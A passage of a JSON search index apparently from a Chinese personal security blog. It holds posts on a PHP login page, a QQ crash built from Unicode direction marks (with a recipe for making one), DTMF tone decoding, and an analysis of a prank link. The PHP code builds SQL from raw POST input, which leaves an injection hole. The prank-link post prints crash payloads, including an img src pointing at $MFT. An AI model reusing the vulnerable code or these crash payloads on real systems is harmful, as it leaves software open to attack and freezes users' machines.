$result = mysqli_query($conn,$sql);//执行sql @$rows=mysqli_num_rows($result);//返回一个数值 if($rows){//0 false 1 true session_start(); $_SESSION[\u0026#39;username\u0026#39;] = $name; header(\u0026#34;refresh:0;url=admin/index.php\u0026#34;);//如果成功跳转至welcome.html页面 exit; }else{ echo \u0026#34;用户名或密码错误\u0026#34;; echo \u0026#34; \u0026lt;script\u0026gt; setTimeout(function(){window.location.href=\u0026#39;login.php\u0026#39;;},1000); \u0026lt;/script\u0026gt; \u0026#34;;//如果错误使用js 1秒后跳转到登录页面重试; } }else{//如果用户名或密码有空 echo \u0026#34;表单填写不完整\u0026#34;; echo \u0026#34; \u0026lt;script\u0026gt; setTimeout(function(){window.location.href=\u0026#39;login.php\u0026#39;;},1000); \u0026lt;/script\u0026gt;\u0026#34;; //如果错误使用js 1秒后跳转到登录页面重试; }` ## 权限认证 session_start(); if (!isset($_SESSION[\u0026#39;username\u0026#39;])) { echo \u0026#34;\u0026lt;script\u0026gt;window.location.href=\u0026#39;../login.php\u0026#39;;\u0026lt;/script\u0026gt;\u0026#34;; } ?\u0026gt; ## CURL $ch = curl_init();//起手式 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $a= curl_exec($ch);//获取输出内容 curl_close($ch);//收工 echo \u0026#34;$a\u0026#34;;输出内容 ","date":"2018-07-14","externalUrl":null,"permalink":"/2018/07/14/php%E7%AC%94%E8%AE%B0--%E7%99%BB%E9%99%86%E9%AA%8C%E8%AF%81%E5%92%8Ccurl/","section":"文章","summary":"登录验证 # \u003c?php include \"config/config.php\"; $name = $_POST['name'];//post获得用户名表单值 $passowrd = $_POST['password'];//post获得用户密码单值 if ($name \u0026\u0026 $passowrd){//如果用户名和密码都不为空 $sql = \"select * from user where name = '$name' and password='$passowrd'\";//检测数据库是否有对应的username和password的sql $result = mysqli_query($conn,$sql);//执行sql @$rows=mysqli_num_rows($result);//返回一个数值 if($rows){//0 false 1 true session_start(); $_SESSION['username'] = $name; header(\"refresh:0;url=admin/index.php\");//如果成功跳转至welcome.html页面 exit; }else{ echo \"用户名或密码错误\"; echo \" \u003cscript\u003e setTimeout(function(){window.location.href='login.php';},1000); \u003c/script\u003e \";//如果错误使用js 1秒后跳转到登录页面重试; } }else{//如果用户名或密码有空 echo \"表单填写不完整\"; echo \" \u003cscript\u003e setTimeout(function(){window.location.href='login.php';},1000); \u003c/script\u003e\"; //如果错误使用js 1秒后跳转到登录页面重试; }` ## 权限认证 session_start(); if (!isset($_SESSION['username'])) { echo \"\u003cscript\u003ewindow.location.href='../login.php';\u003c/script\u003e\"; } ?\u003e ## CURL $ch = curl_init();//起手式 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $a= curl_exec($ch);//获取输出内容 curl_close($ch);//收工 echo \"$a\";输出内容","title":"php笔记--登陆验证和curl","type":"post"},{"content":"前一阵子QQ群里流行了一个东西，一段话加上一个黑点（表情），点击之后QQ就会卡死。\n当时只觉得很好玩，没多久就又见了一次。\n既然又看到了就一定要好好看看了。\n刚开始遇到这个时第一反应是曾经看过的文章《一张GIF引发的微信崩溃》，所以第一反应也是扔进010Editor看看，然而并没有什么异常的地方。就在这时无意间看到了图片的名字，觉得不一般，后想了想会不会是和“十五个句号”一样触发了什么东西。\n表情图片名称：\n最后看了看实在想不到有什么异常的。虽然名字奇怪了点但一般这种图片不都是这样吗。更何况都有后缀名结尾，应该是翻不起什么浪的。这一会的我怕是已经有点草木皆兵了。\n如果不是图片的话那么就是文字的原因喽？文字复制~\n浏览器顺利爆炸：\n地址栏里好像有什么东西。经过精简最后拿到了：%E2%80%8E\n浏览器中重复出现这个东西：\n到这里真相就差不多了，N多个%E2%80%8E循环出现。那么这个%E2%80%8E到底是什么呢个？经过查阅资料这东西叫ZERO-WIDTH SPACE，顾名思义0宽度，所以这东西看不见。那么既然是“隐形”的那它隐藏了什么？编码转换后得到如下：\n我们可以看出这三个起来作用“\u0026amp;#8206;\u0026amp;#8207;\u0026amp;#8235;”\n\u0026amp;#8206;LRM‎ 从左到右标记 \u0026amp;#8207;RLM从右向左标记 \u0026amp;#8235;RLE‫ 开始从右向左嵌入\n到这里就可以看出了，其实\u0026amp;#8235也是可以去掉的，真正生效的是LRM和RLM。多个左右标记循环出现，当用户去指定一个位置时会因为“反复横跳”导致当前程序崩溃。而原来的黑点以及国旗只是给用户错觉，让人以为是它的原因。而“\u0026amp;#8206;\u0026amp;#8207;\u0026amp;#8235;”重复出现应该也只是制造者为了尽量卡死用户而特意重复书写，并不是因为某种原因而生成的。理论上来说这个对所有触屏手机和其运行的软件能够生效。（如果点一次没卡可以多作几次，iOS未测试）。\n那么既然知道了原理我们也可以制作一个自己的“卡死图”。\n格式基本为：（\u0026amp;\u0026lt;span class=\u0026#34;hljs-selector-id\u0026#34;\u0026gt;#8206\u0026lt;/span\u0026gt;;\u0026amp;\u0026lt;span class=\u0026#34;hljs-selector-id\u0026#34;\u0026gt;#8207\u0026lt;/span\u0026gt;;）*\u0026lt;span class=\u0026#34;hljs-selector-tag\u0026#34;\u0026gt;N\u0026lt;/span\u0026gt;+图片或文字 然后将（\u0026amp;#8206;\u0026amp;#8207;）*N由unicode转换为ASCII，得到的即为只显示文字或图片的“卡死图”。\n原聊天记录中的代码（未保存图片）。\n链接: https://pan.baidu.com/s/1VRss3DSb79WFfydY4Vh7YQ 密码: v5qt\n查阅资料 # 《一个特殊的字符？（%E2%80%8B）》 《\\[BUG随想录\\] 看不见的分隔符:Zero-width space》\nemmmmm….虽然是自己的东西但还是放个原文链接吧\nhttp://www.freebuf.com/articles/system/171435.html\n","date":"2018-05-17","externalUrl":null,"permalink":"/2018/05/17/%E5%8F%88%E8%A7%81%E5%8D%A1%E6%AD%BB%E5%9B%BE%EF%BC%8C%E7%AB%9F%E7%84%B6%E4%B8%80%E4%B8%AA%E2%80%9C%E5%B0%8F%E9%BB%91%E7%82%B9%E2%80%9D%E5%B0%B1%E8%83%BD%E5%B9%B2%E6%8E%89QQ%EF%BC%9F/","section":"文章","summary":"前一阵子QQ群里流行了一个东西，一段话加上一个黑点（表情），点击之后QQ就会卡死。\n","title":"又见卡死图，竟然一个“小黑点”就能干掉QQ？（首发FREEBUF）","type":"post"},{"content":"很久以前看到过个新闻，说是某大学生通过一段视频里的声音分析出了周鸿祎的手机号。一直以来都觉得非常酷炫，最近突然想起来于是动手复现一下。\n在网上虽然找了很多文章但大多都是各种转载，丢失了很多信息，经过几天的整理现在终于可以写这篇文章了。\n首先要玩音频分析要知道一个东西。DTMF，来段度娘百科。\n双音多频信号（DTMF），电话系统中电话机与交换机之间的一种用户信令，通常用于发送被叫号码。\n在使用双音多频信号之前，电话系统中使用一连串的断续脉冲来传送被叫号码，称为脉冲拨号。脉冲拨号需要电信局中的操作员手工完成长途接续(早期方法，很老很古董)。\n双音多频信号是贝尔实验室发明的，其目的是为了自动完成长途呼叫。\n双音多频的拨号键盘是4×4的矩阵，每一行代表一个低频，每一列代表一个高频。每按一个键就发送一个高频和低频的正弦信号组合，比如’1’相当于697和1209赫兹(Hz)。交换机可以解码这些频率组合并确定所对应的按键。\n也就是说通过两个声音频率可以确定一个键盘位置。有人说如果熟悉的话是可以通过人类的肉体（//▽//）判断出来，但是有时候在一些特殊情况下人类是无法完成的。\n撒~，下面开始过程复现\n首先通过声音收集设备录制音频，一般为mp3和wav格式\n然后导入到任意一种音频分析软件，这里我用了Adobe Soundbooth CS5\n导入后我们的重点在下方那些东西里面。最初导入可能会有背景噪音和其他杂音，所以我适当的编辑了下音频。我们所需要的是图中的亮点，每个竖轴上有两个亮点。这些亮点就是DTMF中所需要的两个音频。\n通过对照右边的声音频率，与DTMF表进行对照。我们就可以得到详细数字。\n最后我们就可以得到音频中的号码了。（图中的是我的手机号哦，妹子们千万不要骚扰我啊）\n","date":"2017-07-21","externalUrl":null,"permalink":"/2017/07/21/%E6%80%8E%E4%B9%88%E9%80%9A%E8%BF%87%E5%A3%B0%E9%9F%B3%E5%88%86%E6%9E%90%E6%89%8B%E6%9C%BA%E5%8F%B7%E7%A0%81/","section":"文章","summary":"很久以前看到过个新闻，说是某大学生通过一段视频里的声音分析出了周鸿祎的手机号。一直以来都觉得非常酷炫，最近突然想起来于是动手复现一下。\n","title":"怎么通过声音分析手机号码","type":"post"},{"content":"鼓捣过动态壁纸的小伙伴们大概都知道Wallpaper Engine这个玩意，steam售价18RMB的有钱人玩具。为什么说是有钱人的玩意呢？因为在XP时代（后来的版本我没研究过）我记得就可以通过系统自身功能达到动态桌面的实现，所以我觉得并不用花那些钱去搞这个。嘛~扯远了，今天给大家带来一个炫酷的Wallpaper Engine玩法。\n拿到Wallpaper Engine大家第一反应是加载创意工坊的项目文件，然而Wallpaper Engine的功能不止如此。创意工坊内的文件基本是视频文件，而Wallpaper Engine还支持Flash和网页文件。视频文件仅仅是用来播放，而后者却有交互性。那么我们通过后者的交互性可以达到一些炫酷的效果。\n首先说FLASH过于复杂，如果用它来作为桌面那么对机器的消耗比较大，为了美观牺牲性能对大家来说得不偿失。所以我们采用网页形式，网页可以通过js实现交互功能，而已js作为一个轻量级的语言运行对你机器几乎不存在负荷。另外因为没有调用浏览器所以几乎没有消耗性能。\n上效果图：\nhttp://otcek0vco.bkt.clouddn.com/2017.07.19-21.25.19.mp4\n网页可以下载到本地，通过本地协议访问，这样可以不用联网即可加载桌面。\nWallpaper Engine我记得有破解版，想玩玩的可以找下玩玩，不过以后记得支持正版记得去补票哦\n几个有意思的网页都是从其他地方收集来的，并非本人所写。若需要这些东西可以加群问我偷偷要哦。\n","date":"2017-07-19","externalUrl":null,"permalink":"/2017/07/19/%E7%8E%A9%E8%BD%ACWallpaper%20Engine%EF%BC%8C%E4%B8%8D%E5%90%8C%E7%9A%84%E7%82%AB%E9%85%B7%E5%A7%BF%E5%8A%BF/","section":"文章","summary":"鼓捣过动态壁纸的小伙伴们大概都知道Wallpaper Engine这个玩意，steam售价18RMB的有钱人玩具。为什么说是有钱人的玩意呢？因为在XP时代（后来的版本我没研究过）我记得就可以通过系统自身功能达到动态桌面的实现，所以我觉得并不用花那些钱去搞这个。嘛~扯远了，今天给大家带来一个炫酷的Wallpaper Engine玩法。\n","title":"玩转Wallpaper Engine，不同的炫酷姿势","type":"post"},{"content":" 事件起因 # 这其实是一件很偶然的事情，前几天在某大佬群里看大佬装逼。突然一个平日不怎么冒泡的群友发了一条链接。本着“这群里都是好人 ”的想法我就天真的点了进去……这一点可闹大了。电脑猛地变卡直至完全不能动弹，无奈的我只能重启，重启过程中突然想起刚刚做的期末作业还没有保存 ……\n正文 # 重启完成之后觉得这个链接挺好玩的，于是决定把它“顺“ 下来，看看它到底有什么神通。\n如上图所示，出人预料的简单,只有七个文件（我还以为会有多么复杂) 六个html和一个css。其中css文件和2.html没有什么意义，纯属装饰，文章中不再讨论。\n本来想去度娘下看看有什么头绪没有，半路上想起这么好玩的东西freebuf上怎么可能没有呢？于是来到网站进行搜索，关键词：“崩溃”、“浏览器”。找到了这篇文章： 《AwSnap：让全版本（Windows、iOS、Android）Chrome浏览器崩溃的有趣漏洞》 查看文件代码，果然在cr.html里面发现了这篇文章中提到的畸形URL\n这下就明白了，作者通过过长或者畸形URL触发浏览器bug导致用户系统卡死\n那么问题来了，只是让我跪了的话只要这个cr.html就够了啊，那个ie.html 是什么？难道是针对ie的？这么6？打开看看。\n这是什么啊？有点懵逼。等等……$MFT有点眼熟，赶紧返回首页找了找最终在侧边的快讯中找到了某条信息\n经过度娘，围观大佬们的文章最终了解了这个东西的相关信息（甚至还找到了这段代码最初的出处）。\n当用户访问X:$MFT\\下的任意文件时系统会被卡死，而且目前微软还没有发布补丁（ X 为ntfs盘符）。这个bug的厉害之处在于它太容易被触发了。不用什么高级的操作，仅仅只是浏览器正常调用就足够了。\n例如：\n\u0026lt;span class=\u0026#34;hljs-tag\u0026#34;\u0026gt;\u0026lt;\u0026lt;span class=\u0026#34;hljs-name\u0026#34;\u0026gt;img\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;hljs-attr\u0026#34;\u0026gt;src\u0026lt;/span\u0026gt;=\u0026lt;/span\u0026gt;\u0026lt;span class=\u0026#34;hljs-tag\u0026#34;\u0026gt;\u0026lt;span class=\u0026#34;hljs-string\u0026#34;\u0026gt;file:\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;span class=\u0026#34;hljs-tag\u0026#34;\u0026gt;///\u0026lt;span class=\u0026#34;hljs-attr\u0026#34;\u0026gt;C:\u0026lt;/span\u0026gt;/$\u0026lt;span class=\u0026#34;hljs-attr\u0026#34;\u0026gt;MFT\u0026lt;/span\u0026gt;/\u0026lt;span class=\u0026#34;hljs-attr\u0026#34;\u0026gt;666.jpg\u0026lt;/span\u0026gt;\u0026gt;\u0026lt;/span\u0026gt; 在网页里引用了一个让你能爆炸的目录，然后触发漏洞炸得你一脸懵逼。又针对chrome又利用ie ，这人真是可怕啊。对于一般网民来说用的浏览器无非也就360XX浏览器、或者QQ浏览器再或者等等等等吧。总之国内市面上普通网民所使用的浏览器哪个和 chrome扯不上关系，再退一步现在还用着IE的人也并不少。所以说这个链接几乎能玩死大多数网民并不是吹的。\n分析完这些东西以后发现了一个问题，既然作者想整人那么绝对不可能把两个文件的链接都做出来然后发送，每个文件只对应了特定的浏览器才能触发。如果链接发出去了对方浏览器不是相应的那个那岂不是装逼失败？所以说一定有一个判断页面，然后根据不同的浏览器跳转到不同的文件上去。于是打开了zz.html （zz一定是中转的简称…..）\n这个…这个判断有点猎奇啊….\n最终经过度娘查到了这段代码的出处。代码var ie = !-\n\\[1,\\];在ie9之前曾被称为世界上最短的判断代码。 它利用了IE与标准浏览器在处理数组的toString方法的差异做成的。在这段代码执行时会先调用数组的 toString()方法 ，执行\n\\[1,\\].toString()在 IE6,7,8中将会得到”1,”。然后表达式就变为!-”1,”。再尝试把 “1，”转换成数值类型得到NaN ,再对NaN 取负得到值仍为NaN。最后执行!NaN返回true 。代码 var ie = !-\n\\[1,\\]; 其实等价于 var ie = !(-Number(\n\\[1,\\].toString())); 在IE6\\7\\8中值为true。\n因为IE6/7/8都不会忽略\n\\[1,\\].ToString()这个bug，即得到的是”1,”；而-Number(\n\\[1,\\].toString())即为-Number(“1,”)得到的结果是NaN；然后!(-Number(\n\\[1,\\].toString()))即为!(NaN)即得到true。一切的前提是IE6/7/8都有\n\\[1,\\].ToString()=\u0026gt;”1,”这个bug，而其它浏览器则是\n\\[1,\\].ToString()=\u0026gt;”1″\n引用资料：《全世界最短的IE浏览器判断代码》\n分析 # 当用户点击这个链接会打开index.html，这个页面是欢迎界面（大概没什么意义吧）。下一步用户继续点击，页面跳转到判断页。判断页通过var ie = !-\n\\[1,\\];这个极短的代码判断用户浏览器类型并跳转到相对应的“爆破”页面。如果是IE浏览器就跳转到ie.html，页面通过调用$MFT目录下的123.jpg文件触发bug，用户系统被卡死。如果是chrome浏览器或者chrome内核的浏览器则会跳转到cr.html，通过畸形URL触发浏览器bug导致内存狂飙直至系统卡死。如果你的浏览器没有触发bug你将可以看到“hello world”。\n这个恶搞链接的作者技术可能不是怎么高，但他的见识却不短。几个简单的步骤中运用了的都是常人不会注意到或者根本想不到的东西。（$MFT出现在今年五月份，chrome崩溃那个又是出现在2015年，判断手法又来自于2010年）\n结尾 # 经过自己多次作死得出几个结果，也得出了一些疑问。经测试市面上多数浏览器都会跪在cr.html面前，然而360 急速浏览器在急速模式下时不会受到影响，当切换到兼容模式时会触发漏洞导致内存狂飙。但是某老司机却告诉我将兼容模式其实是还是ie，那么是ie 又为什么会触发chrome的漏洞呢？求大佬解答。另外在一些文章中写到这个东西可以被用在XSS 中，那不是酸爽无比？\n这篇文章本来发表在FREEBUF，博客实在没啥可写的先弄过来充数。嘛~，转载自己的文章也不算侵权不是？\n附上大佬对文章最后疑问的解释：\n兼容模式只是ie方式渲染，适配类似于ActiveX插件的页面，最终毕竟还是在chrome的壳子里输出，所以畸形地址照样触发。\n","date":"2017-07-19","externalUrl":null,"permalink":"/2017/07/19/%E5%88%86%E6%9E%90%E4%B8%80%E4%B8%AA%E2%80%9C%E7%82%B8%E5%BC%B9%E2%80%9D%E6%81%B6%E6%84%8F%E9%93%BE%E6%8E%A5/","section":"文章","summary":"事件起因 # 这其实是一件很偶然的事情，前几天在某大佬群里看大佬装逼。突然一个平日不怎么冒泡的群友发了一条链接。本着“这群里都是好人 ”的想法我就天真的点了进去……这一点可闹大了。电脑猛地变卡直至完全不能动弹，无奈的我只能重启，重启过程中突然想起刚刚做的期末作业还没有保存 ……\n","title":"分析一个“炸弹”恶意链接","type":"post"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"}]